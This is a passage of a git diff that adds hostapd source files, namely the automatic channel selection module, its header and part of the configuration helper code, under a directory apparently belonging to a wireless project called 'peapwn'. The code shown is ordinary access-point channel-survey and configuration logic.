ACS: 5: min_nf=-114 interference_factor=0.0925926 nf=-114 time=162 busy=0 rx=15 + * ACS: * interference factor average: 0.0271605 + * ACS: Survey analysis for channel 12 (2467 MHz) + * ACS: 1: min_nf=-114 interference_factor=0.0621118 nf=-113 time=161 busy=0 rx=10 + * ACS: 2: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 + * ACS: 3: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=162 busy=0 rx=0 + * ACS: 4: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=162 busy=0 rx=0 + * ACS: 5: min_nf=-114 interference_factor=0.00617284 nf=-113 time=162 busy=0 rx=1 + * ACS: * interference factor average: 0.0148992 + * ACS: Survey analysis for channel 13 (2472 MHz) + * ACS: 1: min_nf=-114 interference_factor=0.0745342 nf=-114 time=161 busy=0 rx=12 + * ACS: 2: min_nf=-114 interference_factor=0.0555556 nf=-114 time=162 busy=0 rx=9 + * ACS: 3: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 + * ACS: 4: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 + * ACS: 5: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 + * ACS: * interference factor average: 0.0260179 + * ACS: Survey analysis for selected bandwidth 20MHz + * ACS: * channel 1: total interference = 0.121432 + * ACS: * channel 2: total interference = 0.137512 + * ACS: * channel 3: total interference = 0.369757 + * ACS: * channel 4: total interference = 0.546338 + * ACS: * channel 5: total interference = 0.690538 + * ACS: * channel 6: total interference = 0.762242 + * ACS: * channel 7: total interference = 0.756092 + * ACS: * channel 8: total interference = 0.537451 + * ACS: * channel 9: total interference = 0.332313 + * ACS: * channel 10: total interference = 0.152182 + * ACS: * channel 11: total interference = 0.0916111 + * ACS: * channel 12: total interference = 0.0816809 + * ACS: * channel 13: total interference = 0.0680776 + * ACS: Ideal channel is 13 (2472 MHz) with total interference factor of 0.0680776 + * + * [1] http://en.wikipedia.org/wiki/Near_and_far_field + */ + + +static int acs_request_scan(struct hostapd_iface *iface); + + +static void acs_clean_chan_surveys(struct hostapd_channel_data *chan) +{ + struct freq_survey *survey, *tmp; + + if (dl_list_empty(&chan->survey_list)) + return; + + dl_list_for_each_safe(survey, tmp, &chan->survey_list, + struct freq_survey, list) { + dl_list_del(&survey->list); + os_free(survey); + } +} + + +static void acs_cleanup(struct hostapd_iface *iface) +{ + int i; + struct hostapd_channel_data *chan; + + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + + if (chan->flag & HOSTAPD_CHAN_SURVEY_LIST_INITIALIZED) + acs_clean_chan_surveys(chan); + + dl_list_init(&chan->survey_list); + chan->flag |= HOSTAPD_CHAN_SURVEY_LIST_INITIALIZED; + chan->min_nf = 0; + } + + iface->chans_surveyed = 0; + iface->acs_num_completed_scans = 0; +} + + +void acs_fail(struct hostapd_iface *iface) +{ + wpa_printf(MSG_ERROR, "ACS: Failed to start"); + acs_cleanup(iface); +} + + +static long double +acs_survey_interference_factor(struct freq_survey *survey, s8 min_nf) +{ + long double factor, busy, total; + + if (survey->filled & SURVEY_HAS_CHAN_TIME_BUSY) + busy = survey->channel_time_busy; + else if (survey->filled & SURVEY_HAS_CHAN_TIME_RX) + busy = survey->channel_time_rx; + else { + /* This shouldn't really happen as survey data is checked in + * acs_sanity_check() */ + wpa_printf(MSG_ERROR, "ACS: Survey data missing"); + return 0; + } + + total = survey->channel_time; + + if (survey->filled & SURVEY_HAS_CHAN_TIME_TX) { + busy -= survey->channel_time_tx; + total -= survey->channel_time_tx; + } + + /* TODO: figure out the best multiplier for noise floor base */ + factor = pow(10, survey->nf / 5.0L) + + (busy / total) * + pow(2, pow(10, (long double) survey->nf / 10.0L) - + pow(10, (long double) min_nf / 10.0L)); + + return factor; +} + + +static void +acs_survey_chan_interference_factor(struct hostapd_iface *iface, + struct hostapd_channel_data *chan) +{ + struct freq_survey *survey; + unsigned int i = 0; + long double int_factor = 0; + + if (dl_list_empty(&chan->survey_list)) + return; + + if (chan->flag & HOSTAPD_CHAN_DISABLED) + return; + + chan->interference_factor = 0; + + dl_list_for_each(survey, &chan->survey_list, struct freq_survey, list) + { + int_factor = acs_survey_interference_factor(survey, + iface->lowest_nf); + chan->interference_factor += int_factor; + wpa_printf(MSG_DEBUG, "ACS: %d: min_nf=%d interference_factor=%Lg nf=%d time=%lu busy=%lu rx=%lu", + ++i, chan->min_nf, int_factor, + survey->nf, (unsigned long) survey->channel_time, + (unsigned long) survey->channel_time_busy, + (unsigned long) survey->channel_time_rx); + } + + chan->interference_factor = chan->interference_factor / + dl_list_len(&chan->survey_list); +} + + +static int acs_usable_ht40_chan(struct hostapd_channel_data *chan) +{ + const int allowed[] = { 36, 44, 52, 60, 100, 108, 116, 124, 132, 149, + 157, 184, 192 }; + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(allowed); i++) + if (chan->chan == allowed[i]) + return 1; + + return 0; +} + + +static int acs_survey_is_sufficient(struct freq_survey *survey) +{ + if (!(survey->filled & SURVEY_HAS_NF)) { + wpa_printf(MSG_ERROR, "ACS: Survey is missing noise floor"); + return 0; + } + + if (!(survey->filled & SURVEY_HAS_CHAN_TIME)) { + wpa_printf(MSG_ERROR, "ACS: Survey is missing channel time"); + return 0; + } + + if (!(survey->filled & SURVEY_HAS_CHAN_TIME_BUSY) && + !(survey->filled & SURVEY_HAS_CHAN_TIME_RX)) { + wpa_printf(MSG_ERROR, "ACS: Survey is missing RX and busy time (at least one is required)"); + return 0; + } + + return 1; +} + + +static int acs_survey_list_is_sufficient(struct hostapd_channel_data *chan) +{ + struct freq_survey *survey; + + dl_list_for_each(survey, &chan->survey_list, struct freq_survey, list) + { + if (!acs_survey_is_sufficient(survey)) { + wpa_printf(MSG_ERROR, "ACS: Channel %d has insufficient survey data", + chan->chan); + return 0; + } + } + + return 1; + +} + + +static int acs_surveys_are_sufficient(struct hostapd_iface *iface) +{ + int i; + struct hostapd_channel_data *chan; + int valid = 0; + + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + + if (!acs_survey_list_is_sufficient(chan)) + continue; + + valid++; + } + + /* We need at least survey data for one channel */ + return !!valid; +} + + +static int acs_usable_chan(struct hostapd_channel_data *chan) +{ + if (dl_list_empty(&chan->survey_list)) + return 0; + if (chan->flag & HOSTAPD_CHAN_DISABLED) + return 0; + if (!acs_survey_list_is_sufficient(chan)) + return 0; + return 1; +} + + +static void acs_survey_all_chans_intereference_factor( + struct hostapd_iface *iface) +{ + int i; + struct hostapd_channel_data *chan; + + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + + if (!acs_usable_chan(chan)) + continue; + + wpa_printf(MSG_DEBUG, "ACS: Survey analysis for channel %d (%d MHz)", + chan->chan, chan->freq); + + acs_survey_chan_interference_factor(iface, chan); + + wpa_printf(MSG_DEBUG, "ACS: * interference factor average: %Lg", + chan->interference_factor); + } +} + + +static struct hostapd_channel_data *acs_find_chan(struct hostapd_iface *iface, + int freq) +{ + struct hostapd_channel_data *chan; + int i; + + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + + if (chan->freq == freq) + return chan; + } + + return NULL; +} + + +/* + * At this point it's assumed chan->interface_factor has been computed. + * This function should be reusable regardless of interference computation + * option (survey, BSS, spectral, ...). chan->interference factor must be + * summable (i.e., must be always greater than zero). + */ +static struct hostapd_channel_data * +acs_find_ideal_chan(struct hostapd_iface *iface) +{ + struct hostapd_channel_data *chan, *adj_chan, *ideal_chan = NULL, + *rand_chan = NULL; + long double factor, ideal_factor = 0; + int i, j; + int n_chans = 1; + + /* TODO: HT40- support */ + + if (iface->conf->ieee80211n && + iface->conf->secondary_channel == -1) { + wpa_printf(MSG_ERROR, "ACS: HT40- is not supported yet. Please try HT40+"); + return NULL; + } + + if (iface->conf->ieee80211n && + iface->conf->secondary_channel) + n_chans = 2; + + if (iface->conf->ieee80211ac && + iface->conf->vht_oper_chwidth == 1) + n_chans = 4; + + /* TODO: VHT80+80, VHT160. Update acs_adjust_vht_center_freq() too. */ + + wpa_printf(MSG_DEBUG, "ACS: Survey analysis for selected bandwidth %d MHz", + n_chans == 1 ? 20 : + n_chans == 2 ? 40 : + n_chans == 4 ? 80 : + -1); + + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + + + /* HT40 on 5 GHz has a limited set of primary channels as per + * 11n Annex J */ + if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211A && + iface->conf->ieee80211n && + iface->conf->secondary_channel && + !acs_usable_ht40_chan(chan)) { + wpa_printf(MSG_DEBUG, "ACS: Channel %d: not allowed as primary channel for HT40", + chan->chan); + continue; + } + + factor = 0; + if (acs_usable_chan(chan)) + factor = chan->interference_factor; + + for (j = 1; j < n_chans; j++) { + adj_chan = acs_find_chan(iface, chan->freq + (j * 20)); + if (!adj_chan) + break; + + if (acs_usable_chan(adj_chan)) + factor += adj_chan->interference_factor; + } + + if (j != n_chans) { + wpa_printf(MSG_DEBUG, "ACS: Channel %d: not enough bandwidth", + chan->chan); + continue; + } + + /* 2.4 GHz has overlapping 20 MHz channels. Include adjacent + * channel interference factor. */ + if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211B || + iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) { + for (j = 0; j < n_chans; j++) { + /* TODO: perhaps a multiplier should be used + * here? */ + + adj_chan = acs_find_chan(iface, chan->freq + + (j * 20) - 5); + if (adj_chan && acs_usable_chan(adj_chan)) + factor += adj_chan->interference_factor; + + adj_chan = acs_find_chan(iface, chan->freq + + (j * 20) - 10); + if (adj_chan && acs_usable_chan(adj_chan)) + factor += adj_chan->interference_factor; + + adj_chan = acs_find_chan(iface, chan->freq + + (j * 20) + 5); + if (adj_chan && acs_usable_chan(adj_chan)) + factor += adj_chan->interference_factor; + + adj_chan = acs_find_chan(iface, chan->freq + + (j * 20) + 10); + if (adj_chan && acs_usable_chan(adj_chan)) + factor += adj_chan->interference_factor; + } + } + + wpa_printf(MSG_DEBUG, "ACS: * channel %d: total interference = %Lg", + chan->chan, factor); + + if (acs_usable_chan(chan) && + (!ideal_chan || factor < ideal_factor)) { + ideal_factor = factor; + ideal_chan = chan; + } + + /* This channel would at least be usable */ + if (!rand_chan) + rand_chan = chan; + } + + if (ideal_chan) { + wpa_printf(MSG_DEBUG, "ACS: Ideal channel is %d (%d MHz) with total interference factor of %Lg", + ideal_chan->chan, ideal_chan->freq, ideal_factor); + return ideal_chan; + } + + return rand_chan; +} + + +static void acs_adjust_vht_center_freq(struct hostapd_iface *iface) +{ + wpa_printf(MSG_DEBUG, "ACS: Adjusting VHT center frequency"); + + switch (iface->conf->vht_oper_chwidth) { + case VHT_CHANWIDTH_USE_HT: + iface->conf->vht_oper_centr_freq_seg0_idx = + iface->conf->channel + 2; + break; + case VHT_CHANWIDTH_80MHZ: + iface->conf->vht_oper_centr_freq_seg0_idx = + iface->conf->channel + 6; + break; + default: + /* TODO: How can this be calculated? Adjust + * acs_find_ideal_chan() */ + wpa_printf(MSG_INFO, "ACS: Only VHT20/40/80 is supported now"); + break; + } +} + + +static int acs_study_survey_based(struct hostapd_iface *iface) +{ + wpa_printf(MSG_DEBUG, "ACS: Trying survey-based ACS"); + + if (!iface->chans_surveyed) { + wpa_printf(MSG_ERROR, "ACS: Unable to collect survey data"); + return -1; + } + + if (!acs_surveys_are_sufficient(iface)) { + wpa_printf(MSG_ERROR, "ACS: Surveys have insufficient data"); + return -1; + } + + acs_survey_all_chans_intereference_factor(iface); + return 0; +} + + +static int acs_study_options(struct hostapd_iface *iface) +{ + int err; + + err = acs_study_survey_based(iface); + if (err == 0) + return 0; + + /* TODO: If no surveys are available/sufficient this is a good + * place to fallback to BSS-based ACS */ + + return -1; +} + + +static void acs_study(struct hostapd_iface *iface) +{ + struct hostapd_channel_data *ideal_chan; + int err; + + err = acs_study_options(iface); + if (err < 0) { + wpa_printf(MSG_ERROR, "ACS: All study options have failed"); + goto fail; + } + + ideal_chan = acs_find_ideal_chan(iface); + if (!ideal_chan) { + wpa_printf(MSG_ERROR, "ACS: Failed to compute ideal channel"); + err = -1; + goto fail; + } + + iface->conf->channel = ideal_chan->chan; + + if (iface->conf->ieee80211ac) + acs_adjust_vht_center_freq(iface); + + err = 0; +fail: + /* + * hostapd_setup_interface_complete() will return -1 on failure, + * 0 on success and 0 is HOSTAPD_CHAN_VALID :) + */ + if (hostapd_acs_completed(iface, err) == HOSTAPD_CHAN_VALID) { + acs_cleanup(iface); + return; + } + + /* This can possibly happen if channel parameters (secondary + * channel, center frequencies) are misconfigured */ + wpa_printf(MSG_ERROR, "ACS: Possibly channel configuration is invalid, please report this along with your config file."); + acs_fail(iface); +} + + +static void acs_scan_complete(struct hostapd_iface *iface) +{ + int err; + + iface->scan_cb = NULL; + + wpa_printf(MSG_DEBUG, "ACS: Using survey based algorithm (acs_num_scans=%d)", + iface->conf->acs_num_scans); + + err = hostapd_drv_get_survey(iface->bss[0], 0); + if (err) { + wpa_printf(MSG_ERROR, "ACS: Failed to get survey data"); + acs_fail(iface); + } + + if (++iface->acs_num_completed_scans < iface->conf->acs_num_scans) { + err = acs_request_scan(iface); + if (err) { + wpa_printf(MSG_ERROR, "ACS: Failed to request scan"); + goto fail; + } + + return; + } + + acs_study(iface); + return; +fail: + hostapd_acs_completed(iface, 1); + acs_fail(iface); +} + + +static int acs_request_scan(struct hostapd_iface *iface) +{ + struct wpa_driver_scan_params params; + struct hostapd_channel_data *chan; + int i, *freq; + + os_memset(¶ms, 0, sizeof(params)); + params.freqs = os_calloc(iface->current_mode->num_channels + 1, + sizeof(params.freqs[0])); + if (params.freqs == NULL) + return -1; + + freq = params.freqs; + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + + *freq++ = chan->freq; + } + *freq = 0; + + iface->scan_cb = acs_scan_complete; + + wpa_printf(MSG_DEBUG, "ACS: Scanning %d / %d", + iface->acs_num_completed_scans + 1, + iface->conf->acs_num_scans); + + if (hostapd_driver_scan(iface->bss[0], ¶ms) < 0) { + wpa_printf(MSG_ERROR, "ACS: Failed to request initial scan"); + acs_cleanup(iface); + return -1; + } + + os_free(params.freqs); + return 0; +} + + +enum hostapd_chan_status acs_init(struct hostapd_iface *iface) +{ + int err; + + wpa_printf(MSG_INFO, "ACS: Automatic channel selection started, this may take a bit"); + + acs_cleanup(iface); + + err = acs_request_scan(iface); + if (err < 0) + return HOSTAPD_CHAN_INVALID; + + hostapd_set_state(iface, HAPD_IFACE_ACS); + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, ACS_EVENT_STARTED); + + return HOSTAPD_CHAN_ACS; +} diff --git a/peapwn/mods/hostap/src/ap/acs.h b/peapwn/mods/hostap/src/ap/acs.h new file mode 100644 index 000000000..a41f17f31 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/acs.h @@ -0,0 +1,28 @@ +/* + * ACS - Automatic Channel Selection module + * Copyright (c) 2011, Atheros Communications + * Copyright (c) 2013, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef ACS_H +#define ACS_H + +#ifdef CONFIG_ACS + +enum hostapd_chan_status acs_init(struct hostapd_iface *iface); +int hostapd_acs_completed(struct hostapd_iface *iface, int err); + +#else /* CONFIG_ACS */ + +static inline enum hostapd_chan_status acs_init(struct hostapd_iface *iface) +{ + wpa_printf(MSG_ERROR, "ACS was disabled on your build, rebuild hostapd with CONFIG_ACS=y or set channel"); + return HOSTAPD_CHAN_INVALID; +} + +#endif /* CONFIG_ACS */ + +#endif /* ACS_H */ diff --git a/peapwn/mods/hostap/src/ap/ap_config.c b/peapwn/mods/hostap/src/ap/ap_config.c new file mode 100644 index 000000000..101683fb0 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_config.c @@ -0,0 +1,881 @@ +/* + * hostapd / Configuration helper functions + * Copyright (c) 2003-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "crypto/sha1.h" +#include "radius/radius_client.h" +#include "common/ieee802_11_defs.h" +#include "common/eapol_common.h" +#include "eap_common/eap_wsc_common.h" +#include "eap_server/eap.h" +#include "wpa_auth.h" +#include "sta_info.h" +#include "ap_config.h" + + +static void hostapd_config_free_vlan(struct hostapd_bss_config *bss) +{ + struct hostapd_vlan *vlan, *prev; + + vlan = bss->vlan; + prev = NULL; + while (vlan) { + prev = vlan; + vlan = vlan->next; + os_free(prev); + } + + bss->vlan = NULL; +} + + +void hostapd_config_defaults_bss(struct hostapd_bss_config *bss) +{ + bss->logger_syslog_level = HOSTAPD_LEVEL_INFO; + bss->logger_stdout_level = HOSTAPD_LEVEL_INFO; + bss->logger_syslog = (unsigned int) -1; + bss->logger_stdout = (unsigned int) -1; + + bss->auth_algs = WPA_AUTH_ALG_OPEN | WPA_AUTH_ALG_SHARED; + + bss->wep_rekeying_period = 300; + /* use key0 in individual key and key1 in broadcast key */ + bss->broadcast_key_idx_min = 1; + bss->broadcast_key_idx_max = 2; + bss->eap_reauth_period = 3600; + + bss->wpa_group_rekey = 600; + bss->wpa_gmk_rekey = 86400; + bss->wpa_key_mgmt = WPA_KEY_MGMT_PSK; + bss->wpa_pairwise = WPA_CIPHER_TKIP; + bss->wpa_group = WPA_CIPHER_TKIP; + bss->rsn_pairwise = 0; + + bss->max_num_sta = MAX_STA_COUNT; + + bss->dtim_period = 2; + + bss->radius_server_auth_port = 1812; + bss->ap_max_inactivity = AP_MAX_INACTIVITY; + bss->eapol_version = EAPOL_VERSION; + + bss->max_listen_interval = 65535; + + bss->pwd_group = 19; /* ECC: GF(p=256) */ + +#ifdef CONFIG_IEEE80211W + bss->assoc_sa_query_max_timeout = 1000; + bss->assoc_sa_query_retry_timeout = 201; +#endif /* CONFIG_IEEE80211W */ +#ifdef EAP_SERVER_FAST + /* both anonymous and authenticated provisioning */ + bss->eap_fast_prov = 3; + bss->pac_key_lifetime = 7 * 24 * 60 * 60; + bss->pac_key_refresh_time = 1 * 24 * 60 * 60; +#endif /* EAP_SERVER_FAST */ + + /* Set to -1 as defaults depends on HT in setup */ + bss->wmm_enabled = -1; + +#ifdef CONFIG_IEEE80211R + bss->ft_over_ds = 1; +#endif /* CONFIG_IEEE80211R */ + + bss->radius_das_time_window = 300; + + bss->sae_anti_clogging_threshold = 5; +} + + +struct hostapd_config * hostapd_config_defaults(void) +{ +#define ecw2cw(ecw) ((1 << (ecw)) - 1) + + struct hostapd_config *conf; + struct hostapd_bss_config *bss; + const int aCWmin = 4, aCWmax = 10; + const struct hostapd_wmm_ac_params ac_bk = + { aCWmin, aCWmax, 7, 0, 0 }; /* background traffic */ + const struct hostapd_wmm_ac_params ac_be = + { aCWmin, aCWmax, 3, 0, 0 }; /* best effort traffic */ + const struct hostapd_wmm_ac_params ac_vi = /* video traffic */ + { aCWmin - 1, aCWmin, 2, 3000 / 32, 0 }; + const struct hostapd_wmm_ac_params ac_vo = /* voice traffic */ + { aCWmin - 2, aCWmin - 1, 2, 1500 / 32, 0 }; + const struct hostapd_tx_queue_params txq_bk = + { 7, ecw2cw(aCWmin), ecw2cw(aCWmax), 0 }; + const struct hostapd_tx_queue_params txq_be = + { 3, ecw2cw(aCWmin), 4 * (ecw2cw(aCWmin) + 1) - 1, 0}; + const struct hostapd_tx_queue_params txq_vi = + { 1, (ecw2cw(aCWmin) + 1) / 2 - 1, ecw2cw(aCWmin), 30}; + const struct hostapd_tx_queue_params txq_vo = + { 1, (ecw2cw(aCWmin) + 1) / 4 - 1, + (ecw2cw(aCWmin) + 1) / 2 - 1, 15}; + +#undef ecw2cw + + conf = os_zalloc(sizeof(*conf)); + bss = os_zalloc(sizeof(*bss)); + if (conf == NULL || bss == NULL) { + wpa_printf(MSG_ERROR, "Failed to allocate memory for " + "configuration data."); + os_free(conf); + os_free(bss); + return NULL; + } + conf->bss = os_calloc(1, sizeof(struct hostapd_bss_config *)); + if (conf->bss == NULL) { + os_free(conf); + os_free(bss); + return NULL; + } + conf->bss[0] = bss; + + bss->radius = os_zalloc(sizeof(*bss->radius)); + if (bss->radius == NULL) { + os_free(conf); + os_free(bss); + return NULL; + } + + hostapd_config_defaults_bss(bss); + + conf->num_bss = 1; + + conf->beacon_int = 100; + conf->rts_threshold = -1; /* use driver default: 2347 */ + conf->fragm_threshold = -1; /* user driver default: 2346 */ + conf->send_probe_response = 1; + + conf->wmm_ac_params[0] = ac_be; + conf->wmm_ac_params[1] = ac_bk; + conf->wmm_ac_params[2] = ac_vi; + conf->wmm_ac_params[3] = ac_vo; + + conf->tx_queue[0] = txq_vo; + conf->tx_queue[1] = txq_vi; + conf->tx_queue[2] = txq_be; + conf->tx_queue[3] = txq_bk; + + conf->ht_capab = HT_CAP_INFO_SMPS_DISABLED; + + conf->ap_table_max_size = 255; + conf->ap_table_expiration_time = 60; + +#ifdef CONFIG_TESTING_OPTIONS + conf->ignore_probe_probability = 0.0d; + conf->ignore_auth_probability = 0.0d; + conf->ignore_assoc_probability = 0.0d; + conf->ignore_reassoc_probability = 0.0d; + conf->corrupt_gtk_rekey_mic_probability = 0.0d; +#endif /* CONFIG_TESTING_OPTIONS */ + +#ifdef CONFIG_ACS + conf->acs_num_scans = 5; +#endif /* CONFIG_ACS */ + + return conf; +} + + +int hostapd_mac_comp(const void *a, const void *b) +{ + return os_memcmp(a, b, sizeof(macaddr)); +} + + +int hostapd_mac_comp_empty(const void *a) +{ + macaddr empty = { 0 }; + return os_memcmp(a, empty, sizeof(macaddr)); +} + + +static int hostapd_config_read_wpa_psk(const char *fname, + struct hostapd_ssid *ssid) +{ + FILE *f; + char buf[128], *pos; + int line = 0, ret = 0, len, ok; + u8 addr[ETH_ALEN]; + struct hostapd_wpa_psk *psk; + + if (!fname) + return 0; + + f = fopen(fname, "r"); + if (!f) { + wpa_printf(MSG_ERROR, "WPA PSK file '%s' not found.", fname); + return -1; + } + + while (fgets(buf, sizeof(buf), f)) { + line++; + + if (buf[0] == '#') + continue; + pos = buf; + while (*pos != '\0') { + if (*pos == '\n') { + *pos = '\0'; + break; + } + pos++; + } + if (buf[0] == '\0') + continue; + + if (hwaddr_aton(buf, addr)) { + wpa_printf(MSG_ERROR, "Invalid MAC address '%s' on " + "line %d in '%s'", buf, line, fname); + ret = -1; + break; + } + + psk = os_zalloc(sizeof(*psk)); + if (psk == NULL) { + wpa_printf(MSG_ERROR, "WPA PSK allocation failed"); + ret = -1; + break; + } + if (is_zero_ether_addr(addr)) + psk->group = 1; + else + os_memcpy(psk->addr, addr, ETH_ALEN); + + pos = buf + 17; + if (*pos == '\0') { + wpa_printf(MSG_ERROR, "No PSK on line %d in '%s'", + line, fname); + os_free(psk); + ret = -1; + break; + } + pos++; + + ok = 0; + len = os_strlen(pos); + if (len == 64 && hexstr2bin(pos, psk->psk, PMK_LEN) == 0) + ok = 1; + else if (len >= 8 && len < 64) { + pbkdf2_sha1(pos, ssid->ssid, ssid->ssid_len, + 4096, psk->psk, PMK_LEN); + ok = 1; + } + if (!ok) { + wpa_printf(MSG_ERROR, "Invalid PSK '%s' on line %d in " + "'%s'", pos, line, fname); + os_free(psk); + ret = -1; + break; + } + + psk->next = ssid->wpa_psk; + ssid->wpa_psk = psk; + } + + fclose(f); + + return ret; +} + + +static int hostapd_derive_psk(struct hostapd_ssid *ssid) +{ + ssid->wpa_psk = os_zalloc(sizeof(struct hostapd_wpa_psk)); + if (ssid->wpa_psk == NULL) { + wpa_printf(MSG_ERROR, "Unable to alloc space for PSK"); + return -1; + } + wpa_hexdump_ascii(MSG_DEBUG, "SSID", + (u8 *) ssid->ssid, ssid->ssid_len); + wpa_hexdump_ascii_key(MSG_DEBUG, "PSK (ASCII passphrase)", + (u8 *) ssid->wpa_passphrase, + os_strlen(ssid->wpa_passphrase)); + pbkdf2_sha1(ssid->wpa_passphrase, + ssid->ssid, ssid->ssid_len, + 4096, ssid->wpa_psk->psk, PMK_LEN); + wpa_hexdump_key(MSG_DEBUG, "PSK (from passphrase)", + ssid->wpa_psk->psk, PMK_LEN); + return 0; +} + + +int hostapd_setup_wpa_psk(struct hostapd_bss_config *conf) +{ + struct hostapd_ssid *ssid = &conf->ssid; + + if (ssid->wpa_passphrase != NULL) { + if (ssid->wpa_psk != NULL) { + wpa_printf(MSG_DEBUG, "Using pre-configured WPA PSK " + "instead of passphrase"); + } else { + wpa_printf(MSG_DEBUG, "Deriving WPA PSK based on " + "passphrase"); + if (hostapd_derive_psk(ssid) < 0) + return -1; + } + ssid->wpa_psk->group = 1; + } + + if (ssid->wpa_psk_file) { + if (hostapd_config_read_wpa_psk(ssid->wpa_psk_file, + &conf->ssid)) + return -1; + } + + return 0; +} + + +int hostapd_wep_key_cmp(struct hostapd_wep_keys *a, struct hostapd_wep_keys *b) +{ + int i; + + if (a->idx != b->idx || a->default_len != b->default_len) + return 1; + for (i = 0; i < NUM_WEP_KEYS; i++) + if (a->len[i] != b->len[i] || + os_memcmp(a->key[i], b->key[i], a->len[i]) != 0) + return 1; + return 0; +} + + +static void hostapd_config_free_radius(struct hostapd_radius_server *servers, + int num_servers) +{ + int i; + + for (i = 0; i < num_servers; i++) { + os_free(servers[i].shared_secret); + } + os_free(servers); +} + + +struct hostapd_radius_attr * +hostapd_config_get_radius_attr(struct hostapd_radius_attr *attr, u8 type) +{ + for (; attr; attr = attr->next) { + if (attr->type == type) + return attr; + } + return NULL; +} + + +static void hostapd_config_free_radius_attr(struct hostapd_radius_attr *attr) +{ + struct hostapd_radius_attr *prev; + + while (attr) { + prev = attr; + attr = attr->next; + wpabuf_free(prev->val); + os_free(prev); + } +} + + +static void hostapd_config_free_eap_user(struct hostapd_eap_user *user) +{ + os_free(user->identity); + os_free(user->password); + os_free(user); +} + + +static void hostapd_config_free_wep(struct hostapd_wep_keys *keys) +{ + int i; + for (i = 0; i < NUM_WEP_KEYS; i++) { + os_free(keys->key[i]); + keys->key[i] = NULL; + } +} + + +void hostapd_config_free_bss(struct hostapd_bss_config *conf) +{ + struct hostapd_wpa_psk *psk, *prev; + struct hostapd_eap_user *user, *prev_user; + + if (conf == NULL) + return; + + psk = conf->ssid.wpa_psk; + while (psk) { + prev = psk; + psk = psk->next; + os_free(prev); + } + + os_free(conf->ssid.wpa_passphrase); + os_free(conf->ssid.wpa_psk_file); + hostapd_config_free_wep(&conf->ssid.wep); +#ifdef CONFIG_FULL_DYNAMIC_VLAN + os_free(conf->ssid.vlan_tagged_interface); +#endif /* CONFIG_FULL_DYNAMIC_VLAN */ + + user = conf->eap_user; + while (user) { + prev_user = user; + user = user->next; + hostapd_config_free_eap_user(prev_user); + } + os_free(conf->eap_user_sqlite); + + os_free(conf->dump_log_name); + os_free(conf->eap_req_id_text); + os_free(conf->accept_mac); + os_free(conf->deny_mac); + os_free(conf->nas_identifier); + if (conf->radius) { + hostapd_config_free_radius(conf->radius->auth_servers, + conf->radius->num_auth_servers); + hostapd_config_free_radius(conf->radius->acct_servers, + conf->radius->num_acct_servers); + } + hostapd_config_free_radius_attr(conf->radius_auth_req_attr); + hostapd_config_free_radius_attr(conf->radius_acct_req_attr); + os_free(conf->rsn_preauth_interfaces); + os_free(conf->ctrl_interface); + os_free(conf->ca_cert); + os_free(conf->server_cert); + os_free(conf->private_key); + os_free(conf->private_key_passwd); + os_free(conf->ocsp_stapling_response); + os_free(conf->dh_file); + os_free(conf->pac_opaque_encr_key); + os_free(conf->eap_fast_a_id); + os_free(conf->eap_fast_a_id_info); + os_free(conf->eap_sim_db); + os_free(conf->radius_server_clients); + os_free(conf->test_socket); + os_free(conf->radius); + os_free(conf->radius_das_shared_secret); + hostapd_config_free_vlan(conf); + os_free(conf->time_zone); + +#ifdef CONFIG_IEEE80211R + { + struct ft_remote_r0kh *r0kh, *r0kh_prev; + struct ft_remote_r1kh *r1kh, *r1kh_prev; + + r0kh = conf->r0kh_list; + conf->r0kh_list = NULL; + while (r0kh) { + r0kh_prev = r0kh; + r0kh = r0kh->next; + os_free(r0kh_prev); + } + + r1kh = conf->r1kh_list; + conf->r1kh_list = NULL; + while (r1kh) { + r1kh_prev = r1kh; + r1kh = r1kh->next; + os_free(r1kh_prev); + } + } +#endif /* CONFIG_IEEE80211R */ + +#ifdef CONFIG_WPS + os_free(conf->wps_pin_requests); + os_free(conf->device_name); + os_free(conf->manufacturer); + os_free(conf->model_name); + os_free(conf->model_number); + os_free(conf->serial_number); + os_free(conf->config_methods); + os_free(conf->ap_pin); + os_free(conf->extra_cred); + os_free(conf->ap_settings); + os_free(conf->upnp_iface); + os_free(conf->friendly_name); + os_free(conf->manufacturer_url); + os_free(conf->model_description); + os_free(conf->model_url); + os_free(conf->upc); + wpabuf_free(conf->wps_nfc_dh_pubkey); + wpabuf_free(conf->wps_nfc_dh_privkey); + wpabuf_free(conf->wps_nfc_dev_pw); +#endif /* CONFIG_WPS */ + + os_free(conf->roaming_consortium); + os_free(conf->venue_name); + os_free(conf->nai_realm_data); + os_free(conf->network_auth_type); + os_free(conf->anqp_3gpp_cell_net); + os_free(conf->domain_name); + +#ifdef CONFIG_RADIUS_TEST + os_free(conf->dump_msk_file); +#endif /* CONFIG_RADIUS_TEST */ + +#ifdef CONFIG_HS20 